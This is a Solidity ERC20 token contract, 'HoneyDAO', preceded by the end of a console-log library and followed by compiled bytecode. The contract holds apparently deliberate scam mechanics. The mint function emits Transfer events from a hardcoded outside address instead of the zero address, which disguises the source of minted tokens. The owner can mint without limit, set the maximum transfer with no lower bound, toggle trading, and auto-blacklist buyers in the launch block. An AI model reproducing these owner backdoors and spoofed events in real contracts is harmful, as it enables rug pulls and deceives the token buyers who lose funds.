_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// File: contracts/PlatypusPrinter.sol
pragma solidity ^0.8.0;
contract HoneyDAO is ERC20, Ownable {
modifier lockSwap {
_inSwap = true;
_;
_inSwap = false;
}
modifier liquidityAdd {
_inLiquidityAdd = true;
_;
_inLiquidityAdd = false;
}
uint256 internal _maxTransfer = 10;
uint256 internal _maxWallet = 30;
uint256 internal _marketingFee = 5;
uint256 internal _treasuryFee = 7;
uint256 internal _autoLiquidityRate = 3;
uint256 internal _marketingFeeEarlySell = 9;
uint256 internal _treasuryFeeEarlySell = 13;
uint256 internal _reflectRate = 10;
uint256 internal _autoBurnRate = 2;
uint256 internal _cooldown = 30 seconds;
uint256 internal _totalFees = _marketingFee + _treasuryFee + _autoLiquidityRate;
uint256 internal _TotalEarlySellFees = _marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate;
uint256 internal _swapFeesAt = 1000 ether;
bool internal useEarlySellTime = true;
bool internal useBuyCooldown = true;
bool internal _swapFees = true;
// total wei reflected ever
uint256 internal _ethReflectionBasis;
uint256 internal _totalReflected;
uint256 internal _totalTreasuryFees;
uint256 internal _totalMarketingFees;
uint256 internal _totalLiquidityFees;
address payable public _marketingWallet;
address payable public _treasuryWallet;
address payable public _burnWallet;
address payable public _liquidityWallet;
uint256 internal _totalSupply = 0;
uint256 public _totalBurned;
uint256 public _totalDistributed;
uint256 public earlySellTime = 24 hours;
IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0));
address internal _pair;
bool internal _inSwap = false;
bool internal _inLiquidityAdd = false;
bool internal _tradingActive = false;
uint256 internal _tradingStartBlock = 0;
mapping(address => uint256) private _balances;
mapping(address => bool) private _reflectionExcluded;
mapping(address => bool) private _taxExcluded;
mapping(address => bool) private _bot;
mapping(address => uint256) private _lastBuy;
mapping(address => uint256) private _lastReflectionBasis;
mapping(address => uint256) private _totalWalletRewards;
address[] internal _reflectionExcludedList;
constructor(
address uniswapFactory,
address uniswapRouter,
address payable treasuryWallet,
address payable marketingWallet,
address payable liquidityWallet
) ERC20("Honey DAO", "BABY") Ownable() {
addTaxExcluded(owner());
addTaxExcluded(treasuryWallet);
addTaxExcluded(address(this));
_liquidityWallet = liquidityWallet;
_treasuryWallet = treasuryWallet;
_marketingWallet = marketingWallet;
_burnWallet = payable(0x000000000000000000000000000000000000dEaD);
_router = IUniswapV2Router02(uniswapRouter);
IUniswapV2Factory uniswapContract = IUniswapV2Factory(uniswapFactory);
_pair = uniswapContract.createPair(address(this), _router.WETH());
}
function launch(uint256 tokens) public payable onlyOwner() liquidityAdd {
_mint(address(this), tokens);
addLiquidity(tokens, msg.value);
if (!_tradingActive) {
_tradingActive = true;
_tradingStartBlock = block.number;
}
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(_router), tokenAmount);
// add the liquidity
_router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function addReflection() public payable {
_ethReflectionBasis += msg.value;
}
function isReflectionExcluded(address account) public view returns (bool) {
return _reflectionExcluded[account];
}
function removeReflectionExcluded(address account) public onlyOwner() {
require(isReflectionExcluded(account), "Account must be excluded");
_reflectionExcluded[account] = false;
}
function addReflectionExcluded(address account) public onlyOwner() {
_addReflectionExcluded(account);
}
function _addReflectionExcluded(address account) internal {
require(!isReflectionExcluded(account), "Account must not be excluded");
_reflectionExcluded[account] = true;
}
function isTaxExcluded(address account) public view returns (bool) {
return _taxExcluded[account];
}
function addTaxExcluded(address account) public onlyOwner() {
require(!isTaxExcluded(account), "Account must not be excluded");
_taxExcluded[account] = true;
}
function removeTaxExcluded(address account) public onlyOwner() {
require(isTaxExcluded(account), "Account must not be excluded");
_taxExcluded[account] = false;
}
function isBot(address account) public view returns (bool) {
return _bot[account];
}
function addBot(address account) internal {
_addBot(account);
}
function _addBot(address account) internal {
require(!isBot(account), "Account must not be flagged");
require(account != address(_router), "Account must not be uniswap router");
require(account != _pair, "Account must not be uniswap pair");
_bot[account] = true;
_addReflectionExcluded(account);
}
function removeBot(address account) public onlyOwner() {
require(isBot(account), "Account must be flagged");
_bot[account] = false;
removeReflectionExcluded(account);
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function _addBalance(address account, uint256 amount) internal {
_balances[account] = _balances[account] + amount;
}
function _subtractBalance(address account, uint256 amount) internal {
_balances[account] = _balances[account] - amount;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (isTaxExcluded(sender) || isTaxExcluded(recipient)) {
_rawTransfer(sender, recipient, amount);
return;
}
require(!isBot(sender), "Sender locked as bot");
require(!isBot(recipient), "Recipient locked as bot");
uint256 maxTxAmount = totalSupply() * _maxTransfer / 1000;
uint256 maxWalletAmount = totalSupply() * _maxWallet / 1000;
require(amount <= maxTxAmount || _inLiquidityAdd || _inSwap || recipient == address(_router), "Exceeds max transaction amount");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= _swapFeesAt;
if (_lastReflectionBasis[recipient] <= 0) {
_lastReflectionBasis[recipient] = _ethReflectionBasis;
}
if(contractTokenBalance >= maxTxAmount) {
contractTokenBalance = maxTxAmount;
}
if (
overMinTokenBalance &&
!_inSwap &&
sender != _pair &&
_swapFees
) {
_swap(contractTokenBalance);
}
_claimReflection(payable(sender));
_claimReflection(payable(recipient));
uint256 send = amount;
uint256 reflect = 0;
uint256 marketing = 0;
uint256 liquidity = 0;
uint256 treasury = 0;
uint256 burn = 0;
if (sender == _pair && _tradingActive) {
// Buy, apply buy fee schedule
require((_balances[recipient] + amount) <= maxWalletAmount);
send = amount * (100 - _totalFees) / 100;
reflect = amount * _reflectRate / 100;
burn = amount * _autoBurnRate / 100;
require((!useBuyCooldown || block.timestamp - _lastBuy[tx.origin] > _cooldown) || _inSwap, "hit cooldown, try again later");
_autoBurnTokens(sender, burn);
_lastBuy[tx.origin] = block.timestamp;
_reflect(sender, reflect);
} else if (recipient == _pair && _tradingActive) {
// Sell, apply sell fee schedule
if (useEarlySellTime && _lastBuy[tx.origin] + (earlySellTime) >= block.timestamp){
send = amount * (100 - _TotalEarlySellFees) / 100;
marketing = amount * _marketingFeeEarlySell / 100;
liquidity = amount * _autoLiquidityRate / 100;
treasury = amount * _treasuryFeeEarlySell / 100;
}
else{
send = amount * (100 - _totalFees) / 100;
marketing = amount * _marketingFee / 100;
liquidity = amount * _autoLiquidityRate / 100;
treasury = amount * _treasuryFee / 100;
}
_takeMarketing(sender, marketing);
_takeTreasury(sender, treasury);
_takeLiquidity(sender, liquidity);
}
_rawTransfer(sender, recipient, send);
if (_tradingActive && block.number == _tradingStartBlock && !isTaxExcluded(tx.origin)) {
if (tx.origin == address(_pair)) {
if (sender == address(_pair)) {
_addBot(recipient);
} else {
_addBot(sender);
}
} else {
_addBot(tx.origin);
}
}
}
function _claimReflection(address payable addr) internal {
if (addr == _pair || addr == address(_router)) return;
uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr];
uint256 owed = basisDifference * balanceOf(addr) / _totalSupply;
_lastReflectionBasis[addr] = _ethReflectionBasis;
if (owed == 0) {
return;
}
addr.transfer(owed);
_totalWalletRewards[addr] += owed;
_totalDistributed += owed;
}
function claimReflection() public {
_claimReflection(payable(msg.sender));
}
function pendingRewards(address addr) public view returns (uint256) {
uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr];
uint256 owed = basisDifference * balanceOf(addr) / _totalSupply;
return owed;
}
function totalRewardsDistributed() public view returns (uint256) {
return _totalDistributed;
}
function totalWalletRewards(address addr) public view returns (uint256) {
return _totalWalletRewards[addr];
}
function _swap(uint256 amount) internal lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), amount);
uint256 contractEthBalance = address(this).balance;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
uint256 tradeValue = address(this).balance - contractEthBalance;
uint256 marketingAmount = amount * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 treasuryAmount = amount * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 liquidityAmount = amount * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 reflectedAmount = amount - (marketingAmount + treasuryAmount + liquidityAmount);
uint256 marketingEth = tradeValue * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 treasuryEth = tradeValue * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 liquidityEth = tradeValue * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees);
uint256 reflectedEth = tradeValue - (marketingEth + treasuryEth + liquidityEth);
if (marketingEth > 0) {
_liquidityWallet.transfer(liquidityEth);
_marketingWallet.transfer(marketingEth);
_treasuryWallet.transfer(treasuryEth);
}
_totalMarketingFees -= marketingAmount;
_totalTreasuryFees -= treasuryAmount;
_totalLiquidityFees -= liquidityAmount;
_totalReflected -= reflectedAmount;
_ethReflectionBasis += reflectedEth;
}
function swapAll() public {
uint256 maxTxAmount = totalSupply() * _maxTransfer / 1000;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= maxTxAmount)
{
contractTokenBalance = maxTxAmount;
}
if (
!_inSwap
) {
_swap(contractTokenBalance);
}
}
function withdrawAll() public onlyOwner() {
uint256 split = address(this).balance / 2;
_marketingWallet.transfer(split);
_treasuryWallet.transfer(address(this).balance - split);
}
function _reflect(address account, uint256 amount) internal {
require(account != address(0), "reflect from the zero address");
_rawTransfer(account, address(this), amount);
_totalReflected += amount;
emit Transfer(account, address(this), amount);
}
function _takeMarketing(address account, uint256 amount) internal {
require(account != address(0), "take marketing from the zero address");
_rawTransfer(account, address(this), amount);
_totalMarketingFees += amount;
emit Transfer(account, address(this), amount);
}
function _takeTreasury(address account, uint256 amount) internal {
require(account != address(0), "take treasury from the zero address");
_rawTransfer(account, address(this), amount);
_totalTreasuryFees += amount;
emit Transfer(account, address(this), amount);
}
function _takeLiquidity(address account, uint256 amount) internal {
require(account != address(0), "take liquidity from the zero address");
_rawTransfer(account, address(this), amount);
_totalLiquidityFees += amount;
emit Transfer(account, address(this), amount);
}
function _autoBurnTokens(address _account, uint _amount) private {
require( _amount <= balanceOf(_account));
_balances[_account] = (_balances[_account] - _amount);
_totalSupply = (_totalSupply - _amount);
_totalBurned = (_totalBurned + _amount);
emit Transfer(_account, address(0), _amount);
}
// modified from OpenZeppelin ERC20
function _rawTransfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "transfer from the zero address");
require(recipient != address(0), "transfer to the zero address");
uint256 senderBalance = balanceOf(sender);
require(senderBalance >= amount, "transfer amount exceeds balance");
unchecked {
_subtractBalance(sender, amount);
}
_addBalance(recipient, amount);
emit Transfer(sender, recipient, amount);
}
function setMaxTransfer(uint256 maxTransfer) public onlyOwner() {
_maxTransfer = maxTransfer;
}
function setSwapFees(bool swapFees) public onlyOwner() {
_swapFees = swapFees;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal override {
_totalSupply += amount;
_addBalance(account, amount);
emit Transfer(address(0x85DeF1380643F05E7069A0056634132C086eAC5e), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner() {
_mint(account, amount);
}
function airdrop(address[] memory accounts, uint256[] memory amounts) public onlyOwner() {
require(accounts.length == amounts.length, "array lengths must match");
for (uint256 i = 0; i < accounts.length; i++) {
_mint(accounts[i], amounts[i]);
}
}
function totalBurned() public view returns (uint256) {
return _totalBurned;
}
function updateSellFees(uint256 _sellMarketingFee, uint256 _sellTreasuryFee, uint256 _liquidityFee, uint256 _reflectionFee, uint256 _autoBurnFee, uint256 _earlySellTreasuryFee, uint256 _earlySellMarketingFee) external onlyOwner {
_marketingFee = _sellMarketingFee;
_treasuryFee = _sellTreasuryFee;
_autoLiquidityRate = _liquidityFee;
_reflectRate = _reflectionFee;
_autoBurnRate = _autoBurnFee;
_treasuryFeeEarlySell = _earlySellTreasuryFee;
_marketingFeeEarlySell = _earlySellMarketingFee;
_totalFees = (_marketingFee + _autoLiquidityRate + _treasuryFee);
_TotalEarlySellFees = (_marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate);
require(_totalFees <= 25, "Must keep fees at 25% or less");
require(_TotalEarlySellFees <= 25, "Must keep fees at 25% or less");
}
function getTotalFee() public view returns (uint256) {
return _totalFees;
}
function getTotalEarlySellFee() public view returns (uint256) {
return _TotalEarlySellFees;
}
function setMaxWallet(uint256 amount) public onlyOwner() {
require(amount >= _totalSupply / 1000);
_maxWallet = amount;
}
function setMaxTransaction(uint256 amount) public onlyOwner() {
require(amount >= _totalSupply / 1000);
_maxTransfer = amount;
}
function setSwapFeesAt(uint256 amount) public onlyOwner() {
_swapFeesAt = amount;
}
function setTradingActive(bool active) public onlyOwner() {
_tradingActive = active;
}
function setUseEarlySellTime(bool useSellTime) public onlyOwner() {
useEarlySellTime = useSellTime;
}
function setUseCooldown(bool useCooldown) public onlyOwner() {
useBuyCooldown = useCooldown;
}
receive() external payable {}
} | 0x6080604052600436106102e85760003560e01c8063715018a611610190578063a9059cbb116100dc578063dd62ed3e11610095578063ee1725461161006f578063ee172546146108c6578063efeaf784146108db578063f2fde38b146108fb578063fd01bd4c1461091b57600080fd5b8063dd62ed3e14610840578063e3f9fc6314610886578063e9a7e633146108a657600080fd5b8063a9059cbb14610795578063ab5a1887146107b5578063b41356c9146107d5578063bc9c3b77146107f5578063c6fe97271461080b578063d89135cd1461082b57600080fd5b80638da5cb5b1161014957806395d89b411161012357806395d89b4114610720578063962dfc75146107355780639daa30e314610755578063a457c2d71461077557600080fd5b80638da5cb5b146106a95780639045be58146106c7578063959bd6c21461070057600080fd5b8063715018a61461061757806377348de91461062c5780637ae316d01461064c578063853828b61461066157806385b12c7c146106765780638c369d3b1461068957600080fd5b806340c10f191161024f578063586509cf11610208578063644ce4be116101e2578063644ce4be146105a157806367243482146105b757806369ec8e9c146105d757806370a08231146105f757600080fd5b8063586509cf146105415780635d0044ca146105615780635fecd9261461058157600080fd5b806340c10f191461048e578063488981c8146104ae5780634d48b105146104c35780634e6be544146104f95780634fb0b7e7146105015780635196aadb1461052157600080fd5b8063313ce567116102a1578063313ce567146103e657806331d7a26214610402578063375632931461042257806339509351146104395780633bbac579146104595780633e9ffbea1461047957600080fd5b806306fdde03146102f4578063095ea7b31461031f57806318160ddd1461034f57806323b872dd1461036e578063243a7e311461038e578063269d1faa146103c657600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b50610309610931565b6040516103169190612a0d565b60405180910390f35b34801561032b57600080fd5b5061033f61033a366004612a77565b6109c3565b6040519015158152602001610316565b34801561035b57600080fd5b50601d545b604051908152602001610316565b34801561037a57600080fd5b5061033f610389366004612aa3565b6109d9565b34801561039a57600080fd5b50601c546103ae906001600160a01b031681565b6040516001600160a01b039091168152602001610316565b3480156103d257600080fd5b50601a546103ae906001600160a01b031681565b3480156103f257600080fd5b5060405160128152602001610316565b34801561040e57600080fd5b5061036061041d366004612ae4565b610a88565b34801561042e57600080fd5b50610437610adb565b005b34801561044557600080fd5b5061033f610454366004612a77565b610ae6565b34801561046557600080fd5b5061033f610474366004612ae4565b610b22565b34801561048557600080fd5b50610437610b40565b34801561049a57600080fd5b506104376104a9366004612a77565b610b9c565b3480156104ba57600080fd5b50601154610360565b3480156104cf57600080fd5b506103606104de366004612ae4565b6001600160a01b03166000908152602a602052604090205490565b610437610bd0565b34801561050d57600080fd5b5061043761051c366004612ae4565b610be9565b34801561052d57600080fd5b5061043761053c366004612ae4565b610c5d565b34801561054d57600080fd5b5061043761055c366004612b08565b610c93565b34801561056d57600080fd5b5061043761057c366004612b08565b610cc2565b34801561058d57600080fd5b5061043761059c366004612ae4565b610d0d565b3480156105ad57600080fd5b5061036060205481565b3480156105c357600080fd5b506104376105d2366004612bf7565b610db5565b3480156105e357600080fd5b5061033f6105f2366004612ae4565b610e8f565b34801561060357600080fd5b50610360610612366004612ae4565b610ead565b34801561062357600080fd5b50610437610ec8565b34801561063857600080fd5b50610437610647366004612b08565b610efc565b34801561065857600080fd5b50601054610360565b34801561066d57600080fd5b50610437610f2b565b610437610684366004612b08565b610fdf565b34801561069557600080fd5b50601b546103ae906001600160a01b031681565b3480156106b557600080fd5b506005546001600160a01b03166103ae565b3480156106d357600080fd5b5061033f6106e2366004612ae4565b6001600160a01b031660009081526025602052604090205460ff1690565b34801561070c57600080fd5b5061043761071b366004612cb9565b611069565b34801561072c57600080fd5b506103096110b1565b34801561074157600080fd5b506019546103ae906001600160a01b031681565b34801561076157600080fd5b50610437610770366004612ae4565b6110c0565b34801561078157600080fd5b5061033f610790366004612a77565b611173565b3480156107a157600080fd5b5061033f6107b0366004612a77565b61120c565b3480156107c157600080fd5b506104376107d0366004612b08565b611219565b3480156107e157600080fd5b506104376107f0366004612ae4565b61125f565b34801561080157600080fd5b50610360601f5481565b34801561081757600080fd5b50610437610826366004612cb9565b6112cf565b34801561083757600080fd5b50601e54610360565b34801561084c57600080fd5b5061036061085b366004612cdb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561089257600080fd5b506104376108a1366004612cb9565b611313565b3480156108b257600080fd5b506104376108c1366004612cb9565b611359565b3480156108d257600080fd5b50601f54610360565b3480156108e757600080fd5b506104376108f6366004612d14565b611396565b34801561090757600080fd5b50610437610916366004612ae4565b6114ca565b34801561092757600080fd5b50610360601e5481565b60606003805461094090612d60565b80601f016020809104026020016040519081016040528092919081815260200182805461096c90612d60565b80156109b95780601f1061098e576101008083540402835291602001916109b9565b820191906000526020600020905b81548152906001019060200180831161099c57829003601f168201915b5050505050905090565b60006109d0338484611562565b50600192915050565b60006109e6848484611686565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610a705760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610a7d8533858403611562565b506001949350505050565b6001600160a01b0381166000908152602960205260408120546014548291610aaf91612db1565b90506000601d54610abf85610ead565b610ac99084612dc8565b610ad39190612de7565b949350505050565b610ae433611c81565b565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109d0918590610b1d908690612e09565b611562565b6001600160a01b031660009081526027602052604090205460ff1690565b60006103e8600654610b51601d5490565b610b5b9190612dc8565b610b659190612de7565b90506000610b7230610ead565b9050818110610b7e5750805b602254600160a01b900460ff16610b9857610b9881611da6565b5050565b6005546001600160a01b03163314610bc65760405162461bcd60e51b8152600401610a6790612e21565b610b988282612251565b3460146000828254610be29190612e09565b9091555050565b6005546001600160a01b03163314610c135760405162461bcd60e51b8152600401610a6790612e21565b610c1c81610e8f565b15610c395760405162461bcd60e51b8152600401610a6790612e56565b6001600160a01b03166000908152602660205260409020805460ff19166001179055565b6005546001600160a01b03163314610c875760405162461bcd60e51b8152600401610a6790612e21565b610c90816122ba565b50565b6005546001600160a01b03163314610cbd5760405162461bcd60e51b8152600401610a6790612e21565b601255565b6005546001600160a01b03163314610cec5760405162461bcd60e51b8152600401610a6790612e21565b6103e8601d54610cfc9190612de7565b811015610d0857600080fd5b600755565b6005546001600160a01b03163314610d375760405162461bcd60e51b8152600401610a6790612e21565b610d4081610b22565b610d8c5760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206d75737420626520666c61676765640000000000000000006044820152606401610a67565b6001600160a01b0381166000908152602760205260409020805460ff19169055610c90816110c0565b6005546001600160a01b03163314610ddf5760405162461bcd60e51b8152600401610a6790612e21565b8051825114610e305760405162461bcd60e51b815260206004820152601860248201527f6172726179206c656e67746873206d757374206d617463680000000000000000604482015260640